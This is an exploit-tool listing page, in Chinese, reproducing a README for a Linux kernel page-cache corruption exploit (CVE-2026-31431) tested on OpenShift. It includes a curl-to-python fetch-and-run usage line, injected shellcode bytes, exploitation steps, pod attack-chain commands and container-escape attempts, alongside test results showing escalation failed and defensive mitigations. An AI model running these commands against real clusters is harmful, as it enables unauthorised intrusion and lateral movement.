Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-31431 — 针对 Linux 内核 CVE-2026-31431 的漏洞利用,通过 authencesn AEAD 操作导致页缓存损坏,针对容器和 OpenShift 环境中的权限提升。 | Kitploit
工具/GitHubGitHub/seanrickerd/cve-2026-31431
云基础设施安全权限提升容器安全漏洞利用框架漏洞分析漏洞利用二进制利用
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

针对 Linux 内核 CVE-2026-31431 的漏洞利用,通过 authencesn AEAD 操作导致页缓存损坏,针对容器和 OpenShift 环境中的权限提升。

查看仓库
1253个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31431 “复制失败” - 页缓存损坏漏洞

通过 authencesn AEAD 操作导致的 Linux 内核页缓存损坏。

⚠️ 重要:利用状态更新(2026年5月1日)

在多个搭载 RHEL 9.6 内核的 OpenShift 4.20.16 集群上进行广泛测试后:

  • ✅ 页缓存损坏: 已确认 - 160 字节 shellcode 成功注入
  • ✅ 内核漏洞: 可从无特权容器利用(零能力)
  • ❌ 权限提升: 未实现 - 尽管缓存被损坏,UID 仍保持不变
  • ❌ 代码执行: 未观察到 - 修改后的页面在读取中可见但不会执行
  • ✅ Restricted-v2 SCC: 有效 - 防止容器逃逸,限制爆炸半径

完整详情请参阅综合测试结果部分。


概述

CVE-2026-31431 是 Linux 内核中 authencesn AEAD 加密实现的一个漏洞,允许无特权进程通过 AF_ALG 套接字和 splice() 系统调用操作来损坏可读文件的页缓存。

测试表明: 页缓存损坏可可靠实现,但在我们的测试环境中,RHEL 9.6 内核上不会发生权限提升。

CVSS 评分: 7.8(高危)
受影响范围: 支持 authencesn 的 Linux 内核版本(2017-2026)
公开披露: 2026年4月29日

功能特性

  • 兼容 Python 3.9+: 通过 ctypes 包含 splice() 系统调用封装
  • 可移植性: 可在任何具有易受攻击内核的 Linux 系统上运行
  • 可靠性: 无需竞态条件
  • 简洁性: 160 字节 shellcode,确定性利用

要求

  • 具有易受攻击的 authencesn 实现的 Linux 内核(2026年4月补丁之前)
  • Python 3.9+
  • 无特权用户访问权限
  • 可读的 setuid 二进制文件(默认:/usr/bin/su)

使用方法

基本用法```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

root@kitploit:~
### 从本地文件```bash
python3 exploit.py
su

实际漏洞利用行为(基于测试)

将会发生的情况:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

root@kitploit:~
**页面缓存验证(确认损坏):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

不会发生的情况(基于测试):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

root@kitploit:~
**结论:** 页缓存破坏成功,但权限提升失败。

## 技术细节

### 漏洞

Linux 内核的 `authencesn`(带关联数据的认证加密 - 扩展序列号)实现在其就地操作处理中存在缺陷。当处理通过 AF_ALG 套接字提交的 AEAD 操作时,页缓存页面可能最终进入内核的可写目标散列表。

### 利用技术

1. **创建 AF_ALG 套接字**,使用 `authencesn(hmac(sha256),cbc(aes))`
2. **配置 AEAD 参数**(密钥、认证大小)
3. **打开目标 setuid 二进制文件**(例如 `/usr/bin/su`)
4. **使用 splice()** 将二进制文件读入页缓存
5. **触发就地 AEAD 操作**,导致对页缓存的写入
6. **每次写入 4 字节**的 shellcode
7. **执行修改后的二进制文件**以获取 root 权限

### Shellcode

该漏洞利用使用一段 160 字节的 shellcode,用于修补 `/usr/bin/su`,以实现:
- 跳过密码认证
- 授予 root shell 访问权限
- 保持非特权用户的正常功能

## Python 3.9 兼容性

Python 3.9 及更早版本的标准库中没有 `os.splice()`。此漏洞利用包含一个基于 ctypes 的实现:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

这使该漏洞利用可在以下环境中运行:

  • ✅ Python 3.9(RHEL 9、Ubuntu 20.04 等)
  • ✅ Python 3.10+
  • ✅ 任何支持 ctypes 的 Python

全面测试结果

测试环境 1:OpenShift 4.20.16 集群(第一次测试)

节点配置:

  • 内核:5.14.0-570.96.1.el9_6.x86_64(RHEL CoreOS 9.6)
  • OpenShift:4.20.16
  • SCC:restricted-v2(限制最严格)
  • UID:1000830000(用户命名空间)
  • 能力:0x0000000000000000(零)

测试结果:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

root@kitploit:~
### 测试环境 2:全新 OpenShift 集群(验证测试)

**集群:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**节点配置:**
- 内核:5.14.0-570.96.1.el9_6.x86_64(与测试 1 相同)
- OpenShift:4.20.16  
- SCC:restricted-v2(已验证)
- UID:1000810000(用户命名空间)
- 能力:0x0000000000000000(零)

**测试结果:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

一致性: 跨独立集群实现 100% 可复现的结果

容器逃逸测试

场景 A:使用 hostPath 卷(容器逃逸可能)```yaml volumes:

  • name: host-usr hostPath: path: /usr
root@kitploit:~
结果:✅ **容器逃逸** - 修改主机页面缓存(设备 33,Inode 4288)

**场景 B:Restricted-v2 SCC(无 hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

结果:❌ 无容器逃逸 - 仅影响容器覆盖层(独立 inode)

关键发现: hostPath 访问(而非 capabilities)是决定容器逃逸的关键因素。

为何提权失败

可能原因(需进一步研究):

  1. 读取与执行代码路径

    • 页缓存损坏影响 mmap(PROT_READ) 操作
    • 可执行映射 mmap(PROT_EXEC) 可能绕过损坏的缓存
    • 内核可能对可执行页面使用不同的代码路径
  2. 内存保护

    • W^X(写与执行互斥)强制机制
    • 内核可执行页面验证
    • SELinux/AppArmor 代码完整性检查
  3. 内核版本特定

    • RHEL 9.6(5.14.0-570.96.1)可能具有额外保护
    • 原始 CVE 研究可能使用了不同的内核版本
    • 行为可能因内核版本而异

实际有效的内容

结论: 内核漏洞真实存在(页缓存损坏已证实),但实际利用受限。

已测试系统

系统内核页缓存损坏提权备注
RHEL CoreOS 9.6

注意: 测试仅限于 RHEL 9.6 内核。其他发行版/版本上的行为未经验证。

OpenShift 容器测试

已在运行 RHEL CoreOS 9.4 的 OpenShift 4.20 集群上成功测试。本节记录了命名空间隔离绕过和容器入侵。

⚠️ 重要更正: 初始测试错误地声称可通过 /proc/1/root 访问主机文件系统。这是错误的 - 在隔离容器中,/proc/1/root 指向容器自身的文件系统,而非 OpenShift 工作节点主机。详见 attacks/README.md 中的详细分析。

攻击链摘要```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

root@kitploit:~
### 阶段 1:命名空间隔离绕过

**漏洞:** OpenShift 内部镜像仓库允许在没有适当 RBAC 强制的情况下进行跨命名空间镜像拉取。

**利用方式:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

结果:

  • ✅ 从 openshift 命名空间拉取了 openshift/cli 镜像
  • ✅ 获得了 oc、kubectl、curl、openssl、Python 3.9 的访问权限
  • ✅ 绕过了命名空间隔离

影响: 允许租户间横向移动以及特权工具访问。

第二阶段:容器内内核利用

部署:```bash

Execute exploit in attack pod

oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "

root@kitploit:~
**结果:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

利用后能力:

  • ✅ 页缓存损坏成功(可见 160 字节 shellcode)
  • ⚠️ 无权限提升 - UID 保持不变(用户命名空间 UID)
  • ✅ 可损坏容器页缓存中的文件(影响 READ 操作)
  • ✅ 网络访问(API 服务器、镜像仓库、互联网)
  • ❌ 无 实际 root 访问权限,尽管有相关声称
  • ❌ 无 capabilities(所有 CapPrm/CapEff = 0x0000000000000000)
  • ❌ 仍处于隔离的 PID/挂载/用户命名空间中
  • ❌ 无法 访问工作节点主机文件系统
  • ❌ 无法 查看主机进程

阶段 3:容器环境分析

现实核查 - /proc/1/root 并非宿主机:```bash

These point to the SAME filesystem (container's own root)

stat -c '%i' /tmp/test.txt

136358432

stat -c '%i' /proc/1/root/tmp/test.txt

136358432 ← IDENTICAL inode = same file

Proof they're in same namespace

readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt

Both return: mnt:[4026535423] ← SAME namespace

root@kitploit:~
**容器操作系统详情:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

阶段 4:从容器进行网络侦察

在容器中创建的脚本(位于 attacks/ 目录中):

1. 容器侦察(recon.sh - 1425 字节)

  • 枚举容器环境
  • 从 Pod 视角查看网络配置
  • 运行中的进程(仅限容器,不含宿主机)
  • 尝试发现 Kubernetes/OpenShift 服务
  • 现实情况: 只能看到容器自身环境

2. 横向移动脚本(lateral.sh - 1754 字节)

  • 从 Pod IP(10.130.x.x 网段)进行网络扫描
  • API 服务器连通性测试
  • 服务发现尝试
  • 现实情况: 仅限于 Pod 网络视角,无法访问宿主机

3. 失败的宿主机利用尝试

  • host-rootkit.py - 尝试对 /proc/1/root/usr/bin/su 植入后门
    • 结果: 仅对容器的 su 植入后门,而非宿主机的 su
  • modprobe-escape.py - 尝试内核模块逃逸
    • 结果: 被只读的 /proc 文件系统阻止
  • trigger-rootkit.sh - 触发被植入后门的 su
    • 结果: 在容器中获得 root 权限(与基础利用相同)

有关成功与失败尝试的完整分析,请参阅 attacks/README.md。

Pod 的网络能力

连通性测试:```bash

Pod IP: 10.130.16.37

Kubernetes API

curl -k https://kubernetes.default.svc:443/healthz

Result: ok ✅

External Internet

curl -s https://www.google.com

Result: Connected ✅

Internal Registry

curl -k https://image-registry.openshift-image-registry.svc:5000/

Result: Accessible ✅

root@kitploit:~
**横向移动机会:**
- ✅ 完全互联网访问(下载工具、C2 通信、数据外泄)
- ✅ 内部 API 访问(枚举集群资源)
- ✅ 内部镜像仓库访问(镜像投毒攻击)
- ✅ 通过 Pod 网络进行跨节点扫描

### 被阻止的主机逃逸技术

以下技术已尝试但被 OpenShift 安全控制阻止:

**1. nsenter(用户命名空间阻止)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

2. chroot(需要 CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash

Error: cannot change root directory: Operation not permitted

root@kitploit:~
**3. 内核模块加载(无 capabilities + RHCOS 加固)**
- RHCOS 上没有 `insmod`、`modprobe`、`kmod` 二进制文件
- `/lib/modules` 为空(容器优化操作系统)
- `CAP_SYS_MODULE` 不可用
- `/proc/sys/kernel/modprobe` 以只读方式挂载

**4. cgroup release_agent(以只读方式挂载)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

5. /proc/sys 操作(只读文件系统)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern

Error: Read-only file system

root@kitploit:~
### 我们实际取得的成果

✅ **命名空间隔离绕过**
- 跨命名空间从内部镜像仓库拉取镜像
- 可访问特权容器镜像(openshift/cli)

✅ **容器内页缓存破坏**
- 通过 CVE-2026-31431 修改容器的 `/usr/bin/su` 页缓存
- 确认注入 160 字节 shellcode(在 hexdump 中可见)
- 破坏影响容器文件的读取操作

✅ **来自 Pod 的网络访问**
- 完整的互联网连接(数据外泄、C2、工具下载)
- 内部 API 服务器访问(受 RBAC 限制)
- 内部镜像仓库访问(存在镜像投毒风险)
- 通过 Pod 网络进行跨 Pod 扫描

❌ **权限提升 - 失败**
- 页缓存已破坏,但未获得 root 访问权限
- UID 保持不变(用户命名空间 UID 约 1000000+)
- 无法执行特权操作
- 无法访问 /etc/shadow 或其他受限文件

❌ **宿主机文件系统访问 - 失败**
- `/proc/1/root` 指向**容器**的根目录,而非宿主机
- 无法实际访问 OpenShift 工作节点文件系统
- 脚本部署到容器的 `/tmp`,而非宿主机的 `/tmp`
- 设备/Inode 隔离阻止了宿主机页缓存访问

❌ **完全宿主机逃逸 - 被阻止**
- 用户命名空间隔离有效
- 零能力阻止 nsenter/chroot/宿主机访问
- SCC 阻止创建特权 Pod
- RHCOS 加固阻止模块加载
- restricted-v2 阻止容器逃逸

### OpenShift 安全评估

**有效的控制措施 ✅**
- 安全上下文约束(SCC)- 阻止了容器逃逸
- 用户命名空间 - 将页缓存隔离到容器 overlay
- 零能力 - 尽管存在内核漏洞,仍阻止了宿主机访问
- SELinux 强制 - 保持容器隔离
- 只读 /proc/sys - 阻止了内核操纵尝试
- RHCOS 加固 - 无模块加载能力

**部分有效的控制措施 ⚠️**
- Seccomp RuntimeDefault - 已启用,但允许 AF_ALG 套接字
- 能力丢弃 - 有效,但无法阻止页缓存破坏

**失效的控制措施 ❌**
- 命名空间 RBAC - 允许跨命名空间拉取镜像
- 内核保护 - 容器可访问 AF_ALG 接口
- 系统调用过滤 - 默认 seccomp 未限制 splice()

**总体评估:**
虽然 CVE-2026-31431 是一个真实的内核漏洞,但 OpenShift 的纵深防御方法(SCC + 用户命名空间 + 能力丢弃 + 文件系统隔离)阻止了有意义的利用。该漏洞可破坏页缓存,但无法从 restricted-v2 Pod 实现权限提升或容器逃逸。

### 对 OpenShift 的建议

**1. 阻止 AF_ALG 套接字**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

2. 强制镜像仓库 RBAC```bash

Require explicit permissions for cross-namespace image pulls

oc policy add-role-to-user system:image-puller
--namespace=

root@kitploit:~
**3. 增强的 Seccomp 配置文件**
阻止危险的系统调用:
- `socket(AF_ALG, ...)` - 系列 38
- 将 `splice()` 限制为可信的文件描述符
- 阻止 `init_module`、`finit_module`(如果尚未阻止)

**4. 运行时监控**
对以下情况发出警报:
- 容器中创建 AF_ALG 套接字
- 跨命名空间的镜像拉取
- 可疑的 `splice()` 系统调用模式
- 容器受损指标(意外的 root 进程)

### 完整的攻击文档

有关完整攻击链的文档,包括:
- 利用时间线
- MITRE ATT&CK 映射
- 详细的技术分析
- 所有侦察脚本

请参阅:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - 关于有效与无效方法的详细分析
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - 原始文档(包含错误,更正请参阅 attacks/README.md)

## 缓解措施

### 立即执行```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Seccomp 过滤器

阻止创建 AF_ALG 套接字:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }

root@kitploit:~
### 内核补丁

应用厂商补丁:
- Red Hat:关注 https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu:`apt update && apt upgrade linux-image-*`
- 上游:内核 6.x+ 并将 authencesn 回退为原地操作

## 常见问题解答

### 问:这个漏洞利用能让我获得 root 权限吗?

**答:** 不能——基于对 RHEL 9.6 内核(5.14.0-570.96.1)的广泛测试,该漏洞利用能够成功破坏内核页缓存,但无法实现权限提升。执行植入后门的二进制文件后,UID 保持不变。

### 问:我能从受限的 Kubernetes/OpenShift 容器中逃逸吗?

**答:** 不能(使用 restricted-v2 SCC)——页缓存破坏被隔离在容器的 overlay 文件系统中。容器逃逸需要通过 hostPath 或类似卷访问共享的主机资源。restricted-v2 SCC 通过阻止主机资源访问有效防止了逃逸。

### 问:为什么漏洞利用声称“root”但测试显示它不起作用?

**答:** 该漏洞利用代码是基于 CVE 披露和理论分析编写的。我们在 RHEL 9.6 内核上的实际测试显示:
- 页缓存破坏有效 ✅(通过 hexdump 验证)
- 从被破坏的缓存中执行代码无效 ❌(UID 未改变)

这可能是由于:
- 内核版本差异(RHEL 9.6 可能具有防护措施)
- W^X 内存保护强制执行
- 执行与读取内存代码路径不同

### 问:它适用于所有 Linux 内核吗?

**答:** 未知——测试仅限于:
- RHEL CoreOS 9.6(内核 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 工作节点

在其他发行版/内核版本上的行为尚未验证。原始 CVE 研究条件可能有所不同。

### 问:我是否仍应修补我的系统?

**答:** 是的——绝对应该。即使未实现权限提升:

1. 内核漏洞是真实存在的(页缓存破坏已确认)
2. 在其他内核版本上行为可能不同
3. 使用 hostPath 卷时,容器逃逸是可能的
4. 纵深防御要求消除所有漏洞
5. 未来的研究可能会发现实现代码执行的方法

内核修补是安全必需。

### 问:你们在测试中实际证明了什么?

**答:** 我们在 2 个独立的 OpenShift 集群上进行的全面测试证明了:

✅ **已确认:**
- CVE-2026-31431 内核漏洞可利用
- 可以从无特权容器(零 capabilities)破坏页缓存
- 尽管有 restricted-v2 SCC,AF_ALG 接口仍可访问
- Shellcode 注入成功(在 hexdump 中可见)

❌ **未实现:**
- 权限提升(UID 未改变)
- 从被破坏的页缓存中执行代码
- 从 restricted-v2 Pod 中逃逸容器
- 无 hostPath 时访问主机文件系统

🛡️ **纵深防御有效:**
- SCC + 用户命名空间 + capabilities 丢弃阻止了漏洞利用
- 多层安全措施限制了爆炸半径
- 尽管存在内核漏洞,容器隔离仍然有效

## 安全声明

本仓库记录了一个内核漏洞,用于:
- ✅ 授权的安全测试和研究
- ✅ 漏洞验证和分析
- ✅ 安全意识与教育
- ✅ 防御措施开发

**发现基于:**
- 在授权系统上进行的受控测试
- 多个独立的集群环境
- 全面的验证和可复现性测试

**未经明确授权,请勿在系统上使用。**

## 参考资料

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **披露:** https://copy.fail
- **内核补丁:** Linux 内核提交(2026 年 4 月 1 日)
- **Red Hat 公告:** https://access.redhat.com/security/cve/cve-2026-31431

## 致谢

- **CVE 发现:** Taeyang Lee(Theori)
- **原始分析:** Xint Code 研究团队
- **漏洞利用实现:** Sean Rickerd
- **全面测试与验证:** Sean Rickerd
  - 2 个独立的 OpenShift 4.20.16 集群
  - RHEL CoreOS 9.6 内核 5.14.0-570.96.1
  - 记录了实际与声称的行为差异
  - 验证了 restricted-v2 SCC 的有效性

## 许可证

仅限授权的安全测试和研究使用。使用风险自负。

---

**仓库状态:** 已更新实际测试结果(2026 年 5 月 1 日)  
**测试:** 已在 2 个独立的 OpenShift 集群上完成  
**关键发现:** 页缓存破坏已确认,权限提升未实现  
**建议:** 尽管实际可利用性有限,仍应修补内核
下载工具
测试OpenShift 4.20 #1OpenShift 4.20 #2状态
AF_ALG 套接字访问✅✅有效
页缓存损坏✅✅有效
Shellcode 注入✅✅有效
Shellcode 可见(读取)✅✅有效
UID 更改(提权)❌❌失败
代码执行❌❌失败
容器逃逸(restricted-v2)❌❌已阻止
5.14.0-570.96.1.el9_6
✅ 是
❌ 否
OpenShift 4.20.16 工作节点
OpenShift 4.20 容器5.14.0-570.96.1.el9_6✅ 是❌ 否restricted-v2 SCC